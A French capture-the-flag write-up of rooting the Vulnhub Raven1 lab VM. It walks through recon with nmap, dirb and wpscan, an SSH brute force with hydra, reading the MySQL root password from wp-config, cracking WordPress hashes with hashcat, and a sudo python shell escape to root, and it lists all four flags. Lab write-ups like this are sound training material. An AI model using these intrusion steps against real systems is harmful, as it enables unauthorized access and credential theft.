Write-Up Vulnhub Raven1

Pour changer un peu des challenges root-me, Newbie, ... je me suis penché sur Vulnhub et ses Vulnerables VM ENJOY

Objectif : Être root et obtenir les 4 flags

NOTES : Durant le pentest je me suis aperçue que des fichiers web pour bien fonctionner pointait sur l'adresse raven.local (n'oubliez pas de l'ajouter dans votre fichier hosts de votre machine)

1- Prise d'Information

La première phase étant l'OSINT, il faut dans un premier temps déterminer l'adresse IP de la machine virtuelle (les VM sont en NAT)

netdiscover

5 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 300                           
 _____________________________________________________________________________
   IP            At MAC Address     Count     Len  MAC Vendor / Hostname      
 -----------------------------------------------------------------------------
 192.168.239.2   00:50:56:fc:f9:36      2     120  VMware, Inc.                            
 192.168.239.1   00:50:56:c0:00:08      1      60  VMware, Inc.                            
 192.168.239.130 00:0c:29:fb:cc:c6      1      60  VMware, Inc.                            
 192.168.239.254 00:50:56:e9:41:a0      1      60  VMware, Inc.

OK l'adresse IP de la cible est 192.168.239.130

Un petit scan pour avoir les services et les version avec l'OS

nmap 192.168.239.130 -p 1-10000 -sV --version-all -O --osscan-guess -oN Raven-Scan.txt

PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp  open  http    Apache httpd 2.4.10 ((Debian))
111/tcp open  rpcbind 2-4 (RPC #100000)
MAC Address: 00:0C:29:FB:CC:C6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

On à donc du SSH, HTTP et RPC, une énumeration de directories web s'impose

dirb http://192.168.239.130

==> DIRECTORY: http://192.168.239.130/vendor/                                                                                       
==> DIRECTORY: http://192.168.239.130/wordpress/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/  
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/maint/                                                                     
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/network/                                                                   
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/user/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/plugins/                                                                 
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/themes/                                                                  
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/upgrade/
....

Donc le CMS est Wordpress, un scan du CMS, de ses plugins/thèmes vulnérables et de ses utilisateurs via wpscan

wpscan --url http://192.168.239.130/wordpress --wp-content-dir /wordpress --enumerate vp,vt,u

[+] http://192.168.239.130/wordpress/
 | Interesting Entry: Server: Apache/2.4.10 (Debian)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] http://192.168.239.130/wordpress/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

[+] http://192.168.239.130/wordpress/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 4.8.8 identified (Latest, released on 2018-12-13).
 | Detected By: Emoji Settings (Passive Detection)
 |  - http://192.168.239.130/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.8'
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.239.130/wordpress/, Match: 'WordPress 4.8.8'

[i] The main theme could not be detected.

[+] Enumerating Vulnerable Plugins

[i] No plugins Found.

[+] Enumerating Vulnerable Themes
 Checking Known Locations - Time: 00:00:00 <==============================================================================================================================================================> (288 / 288) 100.00% Time: 00:00:00

[i] No themes Found.

[+] Enumerating Config Backups
 Checking Config Backups - Time: 00:00:00 <=================================================================================================================================================================> (21 / 21) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Enumerating DB Exports
 Checking DB Exports - Time: 00:00:00 <=====================================================================================================================================================================> (36 / 36) 100.00% Time: 00:00:00

[i] No DB Exports Found.

[+] Enumerating Users
 Brute Forcing Author IDs - Time: 00:00:00 <================================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] michael
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] steven
 | Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)

Pas de plugins mais on a la version du wordpress qui selon www.cvedetails.com est ... vulnerable avec xmlrpc.php :)

Ah oui et on à aussi 2 utilisateurs

LA CHAAAAAAANCE

l'URL http://raven.local/vendor/ est en index of

Hmmmm si on regarde ça de plus prêt ..

$curl http://raven.local/vendor/VERSION

5.2.16

$curl http://raven.local/vendor/SECURITY.md

PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability

$curl http://raven.local/vendor/PATH

/var/www/html/vendor/

Pour couronner le tout un dernier scan nmap en utilisant les scripts nse (Avec les informations acquises, il faut choisir les scripts à effectuer)

ls /usr/share/nmap/scripts/ | grep rpc

metasploit-xmlrpc-brute.nse
msrpc-enum.nse
nessus-xmlrpc-brute.nse
rpcap-brute.nse
rpcinfo.nse
xmlrpc-methods.nse

ls /usr/share/nmap/scripts/ | grep wordpress

http-wordpress-brute.nse
http-wordpress-enum.nse
http-wordpress-users.nse

ls /usr/share/nmap/scripts/ | grep ssh

ssh-auth-methods.nse
sshv1.nse

Ça fait une jolie petite liste à essayer

nmap 192.168.239.130 -Pn -p 22,80,111 --script metasploit-xmlrpc-brute.nse,msrpc-enum.nse,nessus-xmlrpc-brute.nse,rpcap-brute.nse,rpcinfo.nse,xmlrpc-methods.nse,http-wordpress-brute.nse,http-wordpress-enum.nse,http-wordpress-users.nse,ssh-auth-methods.nse,sshv1.nse

PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-auth-methods: 
|   Supported authentication methods: 
|     publickey
|_    password
80/tcp  open  http
111/tcp open  rpcbind
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100024  1          44044/tcp  status
|_  100024  1          56113/udp  status
MAC Address: 00:0C:29:FB:CC:C6 (VMware)

Pas d'info à propos des script rpc et wordpress (nous reviendront dessus dans la phase d'exploitation)

2- Exploitation

Le port SSH étant ouvert un tentative via bruteforce sur les utilisateurs michael et steven est possible

$hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://192.168.239.130

[DATA] attacking ssh://192.168.239.130:22/
[22][ssh] host: 192.168.239.130   login: michael   password: michael
1 of 1 target successfully completed, 1 valid password found

Un accès shell à la machine est désormais possible sous l'utilisateur michael (Au passage on trouve le flag N°1 et N°2)

$ssh michael@192.168.239.130

$id
uid=1000(michael) gid=1000(michael)

$find / -name "*flag*txt" 2> /dev/null 
/var/www/flag2.txt

$cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}

$cd /var/www/html
$egrep -r "flag[1-4]"

service.html:			<!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->

En regardant la configuration de wordpress on obtient le pass root de mysql (OMG Cette misconfiguration)

cat /var/www/html/wordpress/wp-config.php

...
/** MySQL database username */
define('DB_USER', 'root');

/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
...

mysql -u root -pR@v3nSecurity

En fouillant dans les tables on remarques certaines informations intéressantes


select * from wp_users;

nickname                              | michael
wp_capabilities                       | a:1:{s:13:"administrator";b:1;}
michael    | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven     | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/

2 hash avec un salt, analysons ça de prêt (et bruteforce ça de loin)

$touch hash.txt
$echo "$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/" > hash.txt
$echo "$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0" >> hash.txt

$hashid -e hash.txt 

--File 'hash.txt'--
Analyzing '$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/'
[+] Wordpress ≥ v2.6.2 
[+] Joomla ≥ v2.5.18 
[+] PHPass' Portable Hash 
Analyzing '$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0'
[+] Wordpress ≥ v2.6.2 
[+] Joomla ≥ v2.5.18 
[+] PHPass' Portable Hash

$hashcat -m 400 -m 400 hash.txt usr/share/wordlists/rockyou.txt

$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/:pink84

Miracle le mot de passe de steven est pink84

En se connectons à l'interface wordpress nous remarquons qu'un poste est dans les brouillon et ...

Bingo le 3eme flag ! plus qu'un :)

En se connectant en ssh avec le compte de steven nous faisons une recherche de programme en SUID

$find / -perm -4000 -print 2> /dev/n

/bin/mount
/bin/umount
/bin/su
/usr/bin/procmail
...

Hmm dommage rien à part les binaires systèmes ... en analysant la liste sudo de steven quelque chose de dangereux apparaît

$sudo -l

User steven may run the following commands on raven:
    (ALL) NOPASSWD: /usr/bin/python

Woaaaw un appel a python en root sans password (OMG cette misconfiguration again) Appelons un shell via python via sudo

$sudo python -c 'import pty; pty.spawn("/bin/sh")'

$id
uid=0(root) gid=0(root) groups=0(root)

Nous voila root sur la VM allons à la recherche du dernier flag

$find / -name "*flag4*" 
/root/flag4.txt

$cat /root/flag4.txt

flag4{715dea6c055b9fe3337544932f2941ce}

CONGRATULATIONS on successfully rooting Raven!

Nous avons les 4 flags et loggué en root MISSION ACCOMPLIE :)

flag1{b9bbcb33e11b80be759c4e844862482d}
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
flag3{afc01ab56b50591e7dccf93122770cd}
flag4{715dea6c055b9fe3337544932f2941ce}

Cette VM est sympa pour commencer, elle dispose de faille assez simple mais non explicite (elle ne vous sauterons pas au yeux directement) un petit travail de recherche s'impose (Je l'ai fais en 5h)

Apparemment il existe 2 moyen d'être root sur la VM l'autre méthode concerne sûrement des exploit web que je n'ai pas exploiter